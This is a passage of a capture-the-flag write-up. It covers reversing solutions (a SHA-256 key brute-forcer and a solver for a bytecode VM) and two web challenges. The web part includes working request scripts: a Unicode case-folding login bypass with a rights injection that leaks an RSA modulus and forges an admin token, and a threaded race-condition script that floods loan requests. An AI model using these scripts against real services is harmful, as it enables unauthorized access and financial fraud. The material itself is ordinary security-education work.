  51. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  52. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  53. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  54. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  55. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  56. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  57. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  59. #include "picosha2.h"
  60. #include "omp.h"
  62. const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;
  64. const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};
  66. char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
  67. char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
  68. char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
  69. char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
  70. char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
  71. char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
  73. #define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
  74. #define D(t) c=c##t;
  76. void work(int x0,int x1)
  77. {
  78.     char tmp[105];
  79.     int c=0;
  80.     A(0);
  81.     A(1);
  82.     fo0(x2,C2)
  83.     {
  84.         A(2);
  85.         fo0(x3,C3)
  86.         {
  87.             A(3);
  88.             fo0(x4,C4)
  89.             {
  90.                 A(4);
  91.                 fo0(x5,C5)
  92.                 {
  93.                     A(5);
  94.                     unsigned char res[picosha2::k_digest_size+1];
  95.                     picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
  96.                     //std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
  97.                     //std::cout<<hex_str<<std::endl;
  98.                     //out,c,'\n';
  99.                     if(res[0]==191)//req[0]
  100.                     {
  101.                         fo1(i,31)if(res[i]!=req[i])goto naive;
  102.                         printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
  103.                         fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
  104.                         naive:;
  105.                     }
  106.                     //fo0(i,c)putchar(tmp[i]);puts("");
  107.                     //fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
  108.                     //cnt+=c;
  109.                     D(5);
  110.                 }
  111.                 D(4);
  112.             }
  113.             D(3);
  114.         }
  115.         D(2);
  116.     }
  117.     out,x0,' ',x1,'\n';
  118. }
  120. int main()
  121. {
  122.     omp_set_num_threads(24);
  123. #pragma omp parallel for
  124.     for(int i=0;i<C0*C1;i++)
  125.         work(i%C0,i/C0);
  126. }

The final key is learningfunfriendteamovercomingpassion, then we patched contains_key, input these keys into the binary, then we got the flag.

mama bear

It generates x86 instructions from some byte code and given key.

Here’s some python equivalent.

  1. code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'
  3. pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
  4. secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
  5. usecret=list(range(48,80))
  6. assert len(usecret)==32
  7. pwd_bytes=[0]*4
  9. def proc_pwd_byte(pwd_byte):
  10.     four_byte_table=[1,2,3,0]
  11.     pwd_bytes[0] = four_byte_table[pwd_byte & 3]
  12.     four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
  13.     t=(pwd_byte>>2)%3
  14.     pwd_bytes[1] = four_byte_table[t]
  15.     four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
  16.     t=(pwd_byte//12)%2
  17.     pwd_bytes[2] = four_byte_table[t]
  18.     four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
  19.     pwd_bytes[3] = four_byte_table[0]
  21. pc=0
  22. def get():
  23.     global pc
  24.     r=code[pc]
  25.     pc+=1
  26.     return ord(r)
  28. stack=[]
  30. def pop():
  31.     global stack
  32.     r=stack[-1]
  33.     stack=stack[:-1]
  34.     return r
  36. def ror(x,y):
  37.     a=secret[x+1]*256+secret[x]
  38.     a=(a>>y)|((a&((1<<y)-1))<<(16-y))
  39.     secret[x+1]=a>>8
  40.     secret[x]=a&255
  42. def rol(x,y):
  43.     return (x<<y&255)|(x>>(8-y))
  45. def push(x):
  46.     stack.append(x)
  48. def speco(a):
  49.     b=a>>8
  50.     a=a&0xff
  51.     for i in range(8):
  52.         y = b&1
  53.         x = a&1
  54.         v7 = pwd_bytes[y*2+x]>>1
  55.         v6 = pwd_bytes[y*2+x]&1
  56.         b = rol(v7|(b&0xfe), 1)
  57.         a = rol(v6|(a&0xfe), 1)
  58.     return a<<8|b
  60. def spec():
  61.     a=pop()
  62.     b=pop()
  63.     t=speco(b<<8|a)
  64.     b=t>>8
  65.     a=t&255
  66.     push(b)
  67.     push(a)
  69. def cpu():
  70.     cur=next(pwd)
  71.     proc_pwd_byte(cur)
  72.     while True:
  73.         op=get()
  74.         if op==0x26:
  75.             spec()
  76.         elif op==0x21: # !
  77.             break
  78.         elif op==0x2d: # -
  79.             secret[get()-0x30]=pop()&255
  80.         elif op==0x23: # #
  81.             fr = get() - 0x30
  82.             ror(fr,cur&7)
  83.         else:
  84.             assert op <= 0x30 + 0x2B
  85.             push(secret[op-0x30])
  86.     pass
  88. cpu()
  89. print(''.join(map(chr,usecret)))
  90. secret=usecret
  92. for i in range(8):
  93.     cpu()
  95. s=''
  96. for i in range(16):
  97.     s+='%02x'%secret[i]
  98. print(s)
  99. s=''
  100. for i in range(16,32):
  101.     s+='%02x'%secret[i]
  102. print(s)

Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only $24^6=191102976$ different keys.

We can just enumerate the key and solve the equation.

  1. #include<bits/stdc++.h>
  3. typedef unsigned int uint;
  4. typedef long long ll;
  5. typedef unsigned long long ull;
  6. typedef double lf;
  7. typedef long double llf;
  8. typedef std::pair<int,int> pii;
  10. #define xx first
  11. #define yy second
  13. template<typename T> inline T max(T a,T b){return a>b?a:b;}
  14. template<typename T> inline T min(T a,T b){return a<b?a:b;}
  15. template<typename T> inline T abs(T a){return a>0?a:-a;}
  16. template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
  17. template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
  18. template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
  19. template<typename T> inline T sqr(T x){return x*x;}
  20. #define mp(a,b) std::make_pair(a,b)
  21. #define pb push_back
  22. #define I __attribute__((always_inline))inline
  23. #define mset(a,b) memset(a,b,sizeof(a))
  24. #define mcpy(a,b) memcpy(a,b,sizeof(a))
  26. #define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
  27. #define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
  28. #define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
  29. #define fd0(i,n) for(int i=(n)-1;~i;i--)
  30. #define fd1(i,n) for(int i=n;i;i--)
  31. #define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
  32. #define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
  33. #define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
  35. struct Cg{I char operator()(){return getchar();}};
  36. struct Cp{I void operator()(char x){putchar(x);}};
  37. #define OP operator
  38. #define RT return *this;
  39. #define UC unsigned char
  40. #define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
  41. if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  42. #define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
  43. #define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
  44. #define TR *this,x;return x;
  45. I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
  46. {RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
  47. {for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
  48. (t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
  49. {llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
  50. #define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  51. #define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
  52. x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
  53. #define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
  54. template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
  55. I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
  56. (ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
  57. I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
  59. const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";
  61. const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};
  63. const int SG=32*8;
  65. typedef std::bitset<32*8+1>bit;
  67. int to_int(bit*s)
  68. {
  69.     int t=0;
  70.     fo0(j,8)
  71.     {
  72.         t+=(int)s[j][SG]<<j;
  73.     }
  74.     return t;
  75. }
  77. void proc_pwd_byte(int x,int*o)
  78. {
  79.     int t[4]={1,2,3,0};
  80.     fd1(i,4)
  81.     {
  82.         int y=x%i;
  83.         x/=i;
  84.         o[4-i]=t[y];
  85.         fo(j,y,i-2)t[j]=t[j+1];
  86.     }
  87. }
  89. int pb[24][4],rc[2][2][2][2][2];
  90. bool plx[24],ply[24],plz[24];
  91. bool phx[24],phy[24],phz[24];
  93. void speco(bit*s,int pwd)
  94. {
  95.     //low to high
  96.     bit ta,tb;
  97.     fo0(i,8)
  98.     {
  99.         ta.reset(),tb.reset();
  100.         //out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
  101.         if(plx[pwd])ta^=s[i];
  102.         if(ply[pwd])ta^=s[i+8];
  103.         if(plz[pwd])ta[SG].flip();
  104.         if(phx[pwd])tb^=s[i];
  105.         if(phy[pwd])tb^=s[i+8];
  106.         if(phz[pwd])tb[SG].flip();
  107.         //out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
  108.         s[i]=tb;
  109.         s[i+8]=ta;
  110.     }
  111. }
  113. void push(bit*stack,bit*s,int&sc)
  114. {
  115.     fo0(i,8)stack[sc+i]=s[i];
  116.     sc+=8;
  117. }
  119. void pop(bit*stack,bit*s,int&sc)
  120. {
  121.     sc-=8;
  122.     fo0(i,8)s[i]=stack[sc+i];
  123. }
  125. void spec(bit*stack,int&sc,int pwd)
  126. {
  127.     //exit(233);
  128.     bit tmp[16];
  129.     pop(stack,tmp,sc);
  130.     pop(stack,tmp+8,sc);
  131.     //out,to_int(tmp),' ',to_int(tmp+8),'\n';
  132.     speco(tmp,pwd);
  133.     push(stack,tmp+8,sc);
  134.     push(stack,tmp,sc);
  135.     //out,to_int(tmp),' ',to_int(tmp+8),'\n';
  136. }
  138. int get(int&pc)
  139. {
  140.     return code[pc++];
  141. }
  143. void ror(bit*secret,int x,int y)
  144. {
  145.     bit tmp[16];
  146.     fo0(i,y)tmp[i]=secret[x*8+i];
  147.     fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
  148.     fo0(i,y)secret[x*8+i+16-y]=tmp[i];
  149. }
  151. void cpu(bit*secret,int&pc,int pwd)
  152. {
  153.     bit stack[248];
  154.     int sc=0;
  155.     pwd%=24;
  156.     while(1)
  157.     {
  158.         int op=get(pc);
  159.         if(op==0x26)spec(stack,sc,pwd);
  160.         else if(op==0x21)break;
  161.         else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
  162.         else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
  163.         else push(stack,secret+(op-0x30)*8,sc);
  164.         //out,op,' ',stack.size()/8,'\n';
  165.         //print_str();
  166.         //if(op==0x26)exit(233);
  167.     }
  168. }
  170. int succ=0;
  172. void work(int k1,int k2,int k3,int k4,int k5,int k6)
  173. {
  174.     int pc=33;
  175.     bit s[32*8];
  176.     fo0(i,32)
  177.     {
  178.         fo0(j,8)
  179.         {
  180.             s[i*8+j].reset();
  181.             s[i*8+j][i*8+j]=1;
  182.         }
  183.     }
  184.     cpu(s,pc,'X');
  185.     cpu(s,pc,k1);
  186.     cpu(s,pc,k2);
  187.     cpu(s,pc,k3);
  188.     cpu(s,pc,k4);
  189.     cpu(s,pc,k5);
  190.     cpu(s,pc,k6);
  191.     cpu(s,pc,'W');
  192.     fo0(i,32)
  193.     {
  194.         fo0(j,8)
  195.         {
  196.             if(req[i]>>j&1)s[i*8+j][SG].flip();
  197.         }
  198.     }
  199.     const int n=256;
  200.     fo0(i,n)
  201.     {
  202.         int t=i;
  203.         while(t<n&&!s[t][i])t++;
  204.         if(t!=i)std::swap(s[t],s[i]);
  205.         assert(s[i][i]);
  206.         fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
  207.     }
  208.     unsigned char res[32];
  209.     mset(res,0);
  210.     fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
  211.     //fo0(i,32)out,res[i],',';out,'\n';
  212.     bool flag=1;
  213.     fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
  214.     if(flag)
  215.     {
  216.         //out,"ok\n";
  217.         fprintf(stderr,"%s\n",res);
  218.     }
  219.     succ++;
  220.     if(succ%10000==0)out,succ,'\n';
  221. }
  223. int main()
  224. {
  225.     fo0(i,24)proc_pwd_byte(i,pb[i]);
  226.     fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
  227.     {
  228.         rc[x][y][z][i][j]=x*i^y*j^z;
  229.     }
  230.     fo0(i,24)
  231.     {
  232.         //out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
  233.         bool ok=0;
  234.         fo0(x,2)fo0(y,2)fo0(z,2)
  235.         {
  236.             bool flag=1;
  237.             fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
  238.             //fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
  239.             if(flag)
  240.             {
  241.                 plx[i]=x,ply[i]=y,plz[i]=z;
  242.                 ok=1;break;
  243.             }
  244.         }
  245.         assert(ok);
  246.         ok=0;
  247.         fo0(x,2)fo0(y,2)fo0(z,2)
  248.         {
  249.             bool flag=1;
  250.             fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
  251.             if(flag)
  252.             {
  253.                 phx[i]=x,phy[i]=y,phz[i]=z;
  254.                 ok=1;break;
  255.             }
  256.         }
  257.         assert(ok);
  258.         //out,plx[i],' ',ply[i],' ',plz[i],'\n';
  259.         //out,phx[i],' ',phy[i],' ',phz[i],'\n';
  260.     }
  261.     for(uint i=0;i<191102976;i++)
  262.     {
  263.         int t=i;
  264.         int a=t%26;t/=26;
  265.         int b=t%26;t/=26;
  266.         int c=t%26;t/=26;
  267.         int d=t%26;t/=26;
  268.         int e=t%26;t/=26;
  269.         int f=t;
  270.         work(a,b,c,d,e,f);
  271.     }
  272. }

After add openmp to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.

Web

Draw with us

First, by fuzzing, I found that hacKtm (K is chr(8490)) can beat the toLowerCase and toUpperCase.

After register with this, we can update our rights with [["n"]]. Then the serverInfo will leak $n$.

Then post init with $p=1,q=n$, we got the admin token. Just use this token to view /flag.

  1. >>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
  2. {"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
  3. >>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
  4. {"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
  5. >>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
  6. '{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'

My Bank

Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.

  1. import requests,threading,time
  2. r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
  3. sess=r.cookies['session']
  4. print(sess)
  6. def work():
  7.     r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})
  9. t=0
  10. while True:
  11.     threading.Thread(target=work).start()
  12.     t+=1
  13.     if t%20==0:
  14.         time.sleep(0.01)
  15. time.sleep(3)